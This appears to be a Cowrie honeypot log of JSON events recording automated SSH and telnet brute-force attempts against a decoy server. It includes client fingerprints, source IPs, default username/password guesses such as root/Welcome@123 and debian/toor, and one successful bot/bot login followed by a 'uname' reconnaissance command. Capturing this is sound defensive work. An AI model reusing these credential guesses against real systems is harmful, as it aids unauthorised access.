{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:25.105618Z","src_ip":"91.92.40.36","session":"f77cd266a441","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"73.36.177.174","src_port":34648,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a4644cd80fe","protocol":"ssh","message":"New connection: 73.36.177.174:34648 (10.17.0.5:22) [session: 7a4644cd80fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:25.116048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:25.120857Z","src_ip":"73.36.177.174","session":"7a4644cd80fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:25.166996Z","src_ip":"73.36.177.174","session":"7a4644cd80fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sistema","password":"sistema","message":"login attempt [sistema/sistema] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:25.383005Z","src_ip":"73.36.177.174","session":"7a4644cd80fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123","message":"login attempt [postgres/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:25.487915Z","src_ip":"45.153.34.195","session":"cea16bcdda1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:26.427659Z","src_ip":"73.36.177.174","session":"7a4644cd80fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:26.605248Z","src_ip":"45.153.34.195","session":"cea16bcdda1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":41760,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d5d952e1f9b","protocol":"ssh","message":"New connection: 45.153.34.195:41760 (10.17.0.5:22) [session: 0d5d952e1f9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:27.730946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:27.862470Z","src_ip":"45.153.34.195","session":"0d5d952e1f9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:27.866748Z","src_ip":"45.153.34.195","session":"0d5d952e1f9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"develop","password":"12345678","message":"login attempt [develop/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:28.290128Z","src_ip":"45.153.34.195","session":"0d5d952e1f9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@123","message":"login attempt [root/Welcome@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:28.604284Z","src_ip":"91.92.40.36","session":"f77cd266a441","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:29.419470Z","src_ip":"45.153.34.195","session":"0d5d952e1f9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":41772,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd94f68dcf93","protocol":"ssh","message":"New connection: 45.153.34.195:41772 (10.17.0.5:22) [session: bd94f68dcf93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:30.720991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:30.879794Z","src_ip":"45.153.34.195","session":"bd94f68dcf93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:30.883556Z","src_ip":"45.153.34.195","session":"bd94f68dcf93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:30.933434Z","src_ip":"91.92.40.36","session":"f77cd266a441","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":26770,"dst_ip":"10.17.0.5","dst_port":22,"session":"eaad81c3baad","protocol":"ssh","message":"New connection: 91.92.40.36:26770 (10.17.0.5:22) [session: eaad81c3baad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:31.370644Z"}
{"eventid":"cowrie.login.failed","username":"aa","password":"aa","message":"login attempt [aa/aa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:31.426220Z","src_ip":"45.153.34.195","session":"bd94f68dcf93","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:32.116364Z","src_ip":"91.92.40.36","session":"eaad81c3baad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:32.119728Z","src_ip":"91.92.40.36","session":"eaad81c3baad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:32.571110Z","src_ip":"45.153.34.195","session":"bd94f68dcf93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":57662,"dst_ip":"10.17.0.5","dst_port":22,"session":"20bb8a339be2","protocol":"ssh","message":"New connection: 45.153.34.195:57662 (10.17.0.5:22) [session: 20bb8a339be2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:33.632728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:33.637732Z","src_ip":"45.153.34.195","session":"20bb8a339be2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:33.728570Z","src_ip":"45.153.34.195","session":"20bb8a339be2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:34.268575Z","src_ip":"45.153.34.195","session":"20bb8a339be2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:34.504101Z","src_ip":"45.153.34.195","session":"20bb8a339be2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:34.507608Z","src_ip":"45.153.34.195","session":"20bb8a339be2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:34.595181Z","src_ip":"45.153.34.195","session":"20bb8a339be2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:34.601267Z","src_ip":"45.153.34.195","session":"20bb8a339be2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.136.214.177","src_port":13086,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e9133e95dab","protocol":"ssh","message":"New connection: 150.136.214.177:13086 (10.17.0.5:22) [session: 4e9133e95dab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:34.817072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:34.821157Z","src_ip":"150.136.214.177","session":"4e9133e95dab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"671ac49b8bd65b9e8ff02a3e690f0fd3","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-512,hmac-sha2-256;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-512","hmac-sha2-256"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 671ac49b8bd65b9e8ff02a3e690f0fd3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:34.846874Z","src_ip":"150.136.214.177","session":"4e9133e95dab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maria","password":"maria","message":"login attempt [maria/maria] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:34.995466Z","src_ip":"150.136.214.177","session":"4e9133e95dab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:36.026354Z","src_ip":"150.136.214.177","session":"4e9133e95dab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":57670,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3266d905846","protocol":"ssh","message":"New connection: 45.153.34.195:57670 (10.17.0.5:22) [session: d3266d905846]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:36.616791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:36.624984Z","src_ip":"45.153.34.195","session":"d3266d905846","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:36.726392Z","src_ip":"45.153.34.195","session":"d3266d905846","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"toor","message":"login attempt [debian/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:37.006883Z","src_ip":"91.92.40.36","session":"eaad81c3baad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123","message":"login attempt [test/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:37.227297Z","src_ip":"45.153.34.195","session":"d3266d905846","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":58122,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c7cde9400b2","protocol":"telnet","message":"New connection: 94.23.66.112:58122 (10.17.0.5:23) [session: 1c7cde9400b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:37.562957Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":21652,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a7a1d0d7cb2","protocol":"ssh","message":"New connection: 91.92.40.36:21652 (10.17.0.5:22) [session: 6a7a1d0d7cb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:38.049571Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:38.310301Z","src_ip":"45.153.34.195","session":"d3266d905846","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":57676,"dst_ip":"10.17.0.5","dst_port":22,"session":"a70dcd571082","protocol":"ssh","message":"New connection: 45.153.34.195:57676 (10.17.0.5:22) [session: a70dcd571082]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:39.568473Z"}
